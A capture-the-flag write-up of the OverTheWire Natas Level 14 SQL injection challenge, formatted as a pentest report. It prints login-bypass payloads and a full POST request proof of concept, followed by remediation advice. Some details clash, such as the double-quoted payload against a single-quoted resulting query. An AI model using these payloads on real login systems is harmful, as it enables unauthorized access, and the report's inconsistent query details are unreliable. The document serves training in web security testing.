Prepared by: Nishanth Antony
Date: November 08, 2025
Difficulty: Easy
Category: Web Exploitation
Platform: Over The Wire
This walkthrough documents the assessment of Natas Level 14, a medium-level web security challenge centered on SQL Injection (SQLi) in a login form. The objective was to bypass authentication and retrieve the password for Natas Level 15. The assessment identified a critical SQL injection vulnerability due to unsanitized user input being directly concatenated into a database query. By injecting a tautology (OR "1"="1), an attacker could authenticate as any user β including natas15 β without knowing the password. This vulnerability was rated Critical Severity due to complete authentication bypass and credential disclosure.
Key Findings:
- Login form vulnerable to classic SQL injection in both
usernameandpasswordfields. - Query:
SELECT * FROM users WHERE username = '[input]' AND password = '[input]' - No input sanitization or use of parameterized queries.
- Payload:
natas15+" OR "1"="1β forcesTRUEcondition.
Recommendations:
- Use parameterized queries or prepared statements.
- Implement input validation and allowlisting.
- Apply least privilege to database users.
- Enable WAF with SQLi detection.
Natas is an educational web security challenge series hosted by OverTheWire, teaching progressive web vulnerabilities. Each level requires obtaining a password to advance, simulating real-world penetration testing.
Exploit SQL injection in the login form to authenticate as natas15 and retrieve the Natas Level 15 password.
- Target:
http://natas14.natas.labs.overthewire.org - Assessment Type: Black-box (no source code)
- Exclusions: No brute-forcing; focus on manual SQLi
The assessment followed OWASP Testing Guide and PTES methodologies. Tools used: Burp Suite and web browser.
- Accessed login form with
usernameandpasswordfields. - Submitted invalid credentials β error:
"Wrong password". - Hypothesized backend query:
SELECT * FROM users WHERE username='[user]' AND password='[pass]'
- Tested
passwordfield with:' OR '1'='1' --' OR '1'='1' #
- Observed authentication success with dummy username β confirmed SQLi.
- Set:
- Username:
natas15 - Password:
" OR "1"="1
- Username:
- Intercepted request in Burp Suite.
- Final injected query:
β Always evaluates to
SELECT * FROM users WHERE username='natas15' AND password='' OR '1'='1'
TRUE.
- Submitted payload β authenticated as
natas15. - Page displayed: "Access granted. The password for natas15 is [redacted]"
- Burp Suite β Request interception and payload testing
- Web Browser β Form interaction
| Vulnerability | Type | CWE | Severity | CVSS Score |
|---|---|---|---|---|
| SQL Injection | Authentication Bypass | CWE-89 | Critical | 9.8 |
-
Description: User input is concatenated directly into SQL query without sanitization or parameterization.
-
Proof of Concept:
POST /index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded username=natas15&password=%22+OR+%221%22%3D%221
β Decoded:
username=natas15&password=" OR "1"="1 -
Resulting Query:
SELECT * FROM users WHERE username='natas15' AND password='' OR '1'='1'
β Returns all users β first user (likely
natas15) is authenticated.
Burp Suite Request:
POST /index.php HTTP/1.1
Host: natas14.natas.labs.overthewire.org
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
username=natas15&password=%22+OR+%221%22%3D%221Response (truncated):
Access granted. The password for natas15 is <censored>Extracted Artifact: Password for Level 15 (redacted)
- SQLi is preventable with parameterized queries.
- Error messages like "Wrong password" leak query structure.
- OR "1"="1 is a universal bypass when inputs are concatenated.
- Manual testing with Burp is highly effective for simple SQLi.
| Timeline | Action |
|---|---|
| Short-Term | Migrate all queries to prepared statements |
| Add input allowlisting (alphanumeric only) | |
| Long-Term |
- Use ORMs with built-in escaping (e.g., PDO, SQLAlchemy)
- Enable database logging for suspicious queries
- Conduct SQLi-focused pentests regularly
Mitigation Controls:
- WAF with SQLi rules (ModSecurity, Cloudflare)
- Least privilege DB user (no
DROP,CREATE) - Input length limits
Natas Level 14 demonstrates a textbook SQL injection flaw caused by direct string concatenation in database queries. The exploit required no advanced tools β only logical payload crafting and request interception via Burp Suite.
Core Lesson:
Never concatenate user input into SQL. Always use parameterized queries.
This vulnerability allows complete authentication bypass, making it one of the most dangerous web flaws. In real systems, SQLi remains a top OWASP risk β and prevention is simple with modern frameworks.
For production applications, parameterized queries, input validation, and regular security testing are non-negotiable.